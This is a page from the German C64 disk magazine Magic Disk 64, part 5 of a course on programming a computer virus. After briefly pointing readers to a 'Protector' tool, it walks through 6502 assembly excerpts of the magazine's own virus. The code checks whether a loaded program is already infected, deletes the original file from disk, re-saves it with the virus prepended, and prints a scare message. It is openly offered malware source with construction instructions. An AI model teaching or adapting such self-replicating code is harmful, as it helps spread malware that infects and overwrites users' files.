Magic Disk 64

home to index to html: MD8811-KURS-VIRENPROGRAMMIERKURS_TEIL_5-5.1.html
                 Virenprogrammierkurs                
                 ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾                
Heute sind wir am fünften und somit  vorletzten  Teil
des Virenkurses angelangt. An  dieser  Stelle  halten
wir es für nötig, Ihnen zu sagen, wie Sie sich  gegen
den Magic  Disk  Virus  schützen  können.  Zahlreiche
Anrufe haben uns seit  der  Erstveröffentlichung  des
Virus erreicht. Alle hatten die Frage zum Inhalt, wie
man sich gegen den Virus schützen kann oder  wie  man
eine infizierte Diskette wieder bereinigt.           
Die Lösung dieses Problems heißt "Protector" und  ist
ein kleines Programm, daß Sie neben den Utilities und
Games  dieses  mal  auf  der   Magic   Disk   finden.
Eine Anleitung erübrigt sich, da  das  Programm  über
eine  gut  dokumentierte   Tastensteuerung   verfügt.
Starten Sie den Protector  bitte  aus  dem  Game-Menü
oder "von Hand" durch:                               
LOAD"PROTECTOR",8                                    
und anschließendem RUN. Jetzt aber zurück zum eigent-
lichen Kurs.                                         
Heute, beim  5.  Teil  des  Virenkurses,  wollen  wir
endlich das Thema Fortpflanzung abhaken. In den letz-
ten Teilen hatten wir uns ja  schon  gründlich  damit
auseinandergesetzt.   Fassen   wir   also   zusammen:
Wir wissen nun, daß sich unser Virus beim SAVEn eines
Programms vermehren kann. Dies tut er, indem er  sich
VOR ein zu infizierendes  Programm  hängt.  Soweit  -
sogut.                                               
Die Probleme, die auftreten, wenn er sich beim  Laden
vermehren soll, nämlich die Tatsache, daß  der  File-
name mitgerettet werden muß, haben  wir  auch  gemei-
stert. Wir haben nun beim Ladevorgang  den  Filenamen
sicher in einem Speicher stehen, so daß wir nun fort-
fahren können mit dem  Vorgang  der  Vermehrung  beim
Laden.                                               
Wie gesagt haben  wir  den  Filenamen  gerettet.  Wie
haben natürlich auch geprüft, ob  unser  Programm  an
den Basicstart ($0801) geladen wird, damit wir  keine
Daten zerstören können. Auch dies war der  Fall,  das
heißt, alle Voraussetzungen, das File  nun  endgültig
infizieren zu dürfen, sind erfüllt -  bis  auf  eine,
die wir aber erst  testen  können,  nachdem  wir  das
entsprechende Programm geladen  haben.  Erfüllen  wir
Ihm endlich diesen Wunsch  und  springen  einmal  zur
Laderoutine. Anschließend haben wir dann erst  einmal
unser zu infizierendes Programm im  Speicher  stehen.
Um dies etwas besser zu erläutern folgt zunächst erst
einmal ein Auszug aus dem Sourcelisting:             
1520 - jsr $f4e5    ;Sprung zur Laderoutine          
1530 - bcc inftest  ;wenn kein Fehler, dann weiter   
1540 - rts          ;sonst Goodbye...                
In Zeile 1520 sehen Sie den Sprung  zur  Laderoutine.
Wenn der Prozessor von dort  zurückkehrt,  haben  wir
das Programm im Speicher. Da es aber  nun  auch  sein
kann, daß während dem Ladevorgang ein  Fehler  aufge-
treten ist und somit eine Infektion verheerende  Fol-
gen haben könnte (Zerstörung von Daten!), müssen  wir
erst noch auf Fehler testen. Dies ist  sehr  einfach,
da  die  Loadroutine  im  Carryflag  die  Information
zurückgibt, ob beim Laden ein Fehler aufgetreten  ist
oder nicht. Bei einem Fehler ist dieses Flag  gesetzt
und das  Virusprogramm  wird  abgebrochen.  Ansonsten
wird weiterverzweigt zur Routine INFTEST:            
1610 - inftest   ldy #17      ;Pointer laden         
1620 - loop7     lda $0801,y  ;Vergleichsbyte laden  
1630 -           cmp data,y   ;und vergleichen       
1640 -           bne scratch  ;ungleich, dann  weiter
1650 -           dey          ;Zähler runterzählen   
1660 -           bpl loop7    ;und weiter            
1670 -           jmp ($a002)  ;infiziert - auf BASIC 
Wie der Name schon vermuten läßt, dient diese Routine
dazu, zu testen, ob ein geladenes Programm schon  in-
fiziert ist. Dies geschieht, indem die Routine prüft,
ob die ersten 18 Bytes des  geladenen  Programms  mit
den ersten 18 Bytes des Virus übereinstimmen.        
Daß nur die ersten 18 Bytes  getestet  werden,  hängt
mit dem Protector zusammen. WIrd mit ihm ein File ge-
schützt, so werden vor  dieses  File  die  ersten  18
Bytes des normalen Virusprogramms gehängt. Beim Laden
glaubt der Virus nun, daß er  schon  ein  infiziertes
Programm vor sich  hätte  und  überspringt  hier  die
Infizierung.                                         
Sollte eines der ersten 18 Bytes ungleich den  ersten
Virusbytes sein, so wird sofort zur nächsten  Routine
(SCRATCH) verzweigt. Andernfalls wird auf die Routine
in $a002 verzweigt - das ist  der  normale  Warmstart
des Commodore-Basic.                                 
Nun eine kleine Einsicht in die SCRATCH-Routine:     
1700 -scratch  lda #01          ;Logische Filenummer 
1710 -         ldx #08          ;Devicenummer        
1720 -         ldy #15          ;Kanalnummer         
1730 -         jsr setpar       ;Parameter setzen    
1740 -         lda lengnam      ;Namenslänge laden   
1750 -         clc              ;und                 
1760 -         adc #02          ;2 addieren          
1770 -         ldx #<(namebuff) ;Buffer-LO laden     
1780 -         ldy #>(namebuff) ;Buffer-HI laden     
1790 -         jsr setnam       ;Name setzen         
1800 -         jsr open         ;File öffnen         
1810 -         lda #01          ;und File #1         
1820 -         jsr close        ;wieder schließen    
Diese Routine tut nichts anderes, als das  File,  daß
unser Virus infizieren soll, von Diskette zu löschen,
um das infizierte gleich danach  wieder  draufschrei-
ben zu können. Dies funktioniert denkbar einfach: Wie
wir ja wissen, würde in Basic  die  Befehlsfolge  zum
Löschen eines Files auf Diskette folgendermaßen  aus-
sehen:                                               
OPEN 1,8,15,"S:FILENAME" : CLOSE 1                   
Und genau das tun wir auch in Assembler.  Wir  öffnen
ein File mit den Parametern:                         
Logische Filenummer = 1                              
Geräteadresse       = 8                              
Kanalnummer         = 15 (=Befehlskanal)             
Wie diese Parameter dann übergeben werden, wissen wir
auch schon, nämlich mit der SETPAR-Routine im ROM des
C64. Weiter geht es mit der Übergabe des  Filenamens.
Hier ist allerdings zu beachten, daß  zur  Länge  des
Filenamens 2 addiert werden muß, da der Name aufgrund
des vorangestellten "S:" um 2  Zeichen  länger  wird.
Dies geschieht in den Zeilen 1740 bis 1760. Die Spei-
chervariable LENGNAM kennen wir ja schon; wir  hatten
darin die Länge des  Filenamens  zwischengespeichert.
In den folgenden zwei Zeilen sehen  Sie  jetzt  auch,
warum wir beim Laden bei der  Angabe  des  Filenamens
NAMEBUFF+2 angeben mußten. Sehen Sie sich einmal fol-
gende Zeilen an. Sie stehen ganz am Ende  des  Quell-
codelistings:                                        
10190 - namebuff   .tx "s:"                          
10200 - ende       .by 0                             
Wie man sieht, haben wir den Filenamen ab  dem  Label
"ende" abgelegt, das heißt, wir haben  den  Filenamen
direkt hinter den  Text  "S:"  in  den  Speicher  ge-
schrieben.  Dieser  Text  fängt  genau   beim   Label
NAMEBUFF an. Also steht nun im Speicher  ab  NAMEBUFF
folgender Text:                                      
S:FILENAME    (Filename steht für irgendeinen Namen) 
...womit wir auch schon den Namen hätten, mit dem das
zu Scratch-File geöffnet werden muß.  Nun  haben  wir
nur noch ein LO- und  ein  HI-Byte  von  NAMEBUFF  zu
laden und SETNAM aufzurufen, was in den  Zeilen  1770
bis 1790 geschieht.                                  
Als nächstes rufen wir die OPEN-Routine des Betriebs-
systems auf. Sie öffnet ein logisches  File  mit  den
durch SETPAR übergebenen  Parametern  und  dem  durch
SETNAM festgelegten Namen. Anschließend  wird  gleich
die CLOSE-Routine aufgerufen,  die  genauso  funktio-
niert wie der Basic-Befehl CLOSE, nur  daß  hier  die
Filenummer (in diesem Fall 1) im Akku übergeben  wer-
den muß (siehe Zeile 1810).                          
Das wäre geschafft. Das alte Programm  ist  gelöscht,
womit wir wieder Platz haben, das  neue  (infizierte)
Programm abzuspeichern. Vorher müssen wir  allerdings
noch etwas berücksichtigen: Es könnte  ja  sein,  daß
der User, der sein Prorgramm laden wollte, den  Joker
"*" benutzt hat, um den Programmnamen abzukürzen.  Um
zum Beispiel "FILENAME" zu laden, hat er einfach  nur
LOAD"FIL*",8 eingegeben.                             
Wir wissen aber, daß man  keinen  Programmnamen,  der
einen "*"- oder "?"-Joker enthält, beim  SAVEn  eines
Programmes nicht verwenden  darf.  Die  Floppy  würde
einen SYNTAX ERROR zurücksenden. Um diesen Effekt  zu
verhindern, dient die nun folgende Routine (sie folgt
direkt im Anschluß an die SCRATCH-Routine):          
1840 -         ldy lengnam      ;Länge als Zeiger    
1850 -         lda namebuff+1,y ;letztes Zeichen     
1860 -         cmp #"*"         ;vergleiche mit "*"  
1870 -         bne cont         ;ungleich            
1880 -         dey              ;Zeiger runterzählen 
In Zeile 1840 laden wir die Länge des  Filenamens  in
das Y-Register. Wir benutzen es nun als  Pointer  und
holen uns das letzte Byte aus dem Namenspuffer  (hier
heißt es NAMEBUFF+1). Dann wird  mit  dem  Stern  (*)
verglichen. Ist das letzte  Zeichen  kein  Stern,  so
wird weiterverzweigt zur  Routine  CONT.  Andernfalls
wird die Filenamenlänge im Y-Register um 1  herunter-
gezählt, um den Joker auszuschließen.  Dann  geht  es
ebenfalls weiter mit der Routine CONT.               
Das zu infizierende Programm  wird  nun  unter  einem
kürzeren Namen abgespeichert, in unserem Beispiel ist
es der Name "FIL".  Das  könnte  einen  User  stutzig
machen, doch ist es die einzige Möglichkeit, das File
wiedererkennbar abzuspeichern.                       
Doch nun weiter mit CONT. Da wir nun alle  einleiten-
den Schritte erledigt haben, können wir  gleich  beim
SAVEn fortfahren. Dazu rufen wir einfach die  Routine
SAVE des Betriebssystems auf, welche ein Programm auf
Diskette abspeichert. Das ist genau die Routine,  die
wir schon früher so modifiziert haben, daß sich unser
Virus vor das  abzuspeichernde  Programm  hängt.  Wir
rufen also ganz normal SAVE auf - der Virus übernimmt
dann schon den Rest.                                 
Hier  wieder  ein  kleiner  Auszug  aus  dem  Source-
Listing. Wie die SAVE-Routine funktioniert, haben wir
ja im 2. Teil des Kurses bereits ausführlich  bespro-
chen.                                                
1920 -cont  tya                 ;Namenslänge in Akku 
1930 -      ldx #<(namebuff)+2  ;Namenspuffer LO     
1940 -      ldy #>(namebuff)+2  ;Namenspuffer HI     
1950 -      jsr setnam          ;Name setzen         
1951 -      ldx #08             ;Geräteadresse laden 
1952 -      jsr setpar          ;Parameter setzen    
1960 -      ldx #01             ;Startadresse LO und 
1970 -      ldy #08             ;HI laden            
1980 -      stx $c1             ;und                 
1990 -      sty $c2             ;abspeichern         
2000 -      ldx $ae             ;Endadresse LO und   
2005 -      ldy $af             :HI laden            
2010 -      jsr save            ;SAVE aufrufen       
2020 -      jmp saveerror       ;und weiter...       
Wie Sie sehen, ein ganz normaler Aufruf, so  wie  wir
ihn auch in Teil 2 schon hatten. Nur am  Schluß  wird
weiterverzweigt auf SAVEERROR;  die  letzte  Routine,
die wir heute besprechen wollen:                     
2211 -saveerror lda status       ;Status laden       
2212 -          bne shit         ;<>, dann Fehler    
2213 -          rts              ;nicht, dann fertig 
2214 -shit      lda #<(errortext);Text LO            
2215 -          lda #>(errortext);Text HI            
2217 -          jmp strout       ;und ausdrucken     
Diese Routine fragt das Statusbyte ab, das  haargenau
der Statusvariablen ST in Basic entspricht.  Ist  ein
Fehler beim SAVEn aufgetreten, z.B.  DISK  FULL  oder
ähnliches, so ist hier irgendein Bit gesetzt. Ist das
der Fall, so wird  weiterverzweigt  zum  Label  SHIT.
Dort wird dann - wieder mit einer  Betriebssystemrou-
tine, nämlich STROUT - ein Text ausgegeben. Der  aus-
zugebende Text steht in den Zeilen 10075 bis 10120:  
10075 -errortext .by 13                              
10080 -.tx "Der Magic Disk-Virus ist in diesem"      
10081 -.by 13                                        
10090 -.tx "C64!!! Daten wurden zerstört !"          
10091 -.by 13                                        
10100 -.tx "Bitte Programm auf einer anderen Disk"   
10101 -.by 13                                        
10110 -.tx "abspeichern !!!"                         
10120 -.by 13,14,0                                   
Der Bytewert 13 steht für  Carriage  Return,  um  den
Text ein wenig zu formatieren. Die 14 am Ende  schal-
tet auf Kleinschrift um. STROUT kehrt nach  dem  Aus-
drucken dieses Textes zum normalen Basic zurück.     
Damit wären wir am Ende des 5. Teils angelangt. Im 6.
und letzten Teil in der nächsten Ausgabe erfahren Sie
noch etwas über die Initialisierungsroutine  und  das
kleine Gag-Programm.                                 
Valid HTML 4.0 Transitional Valid CSS!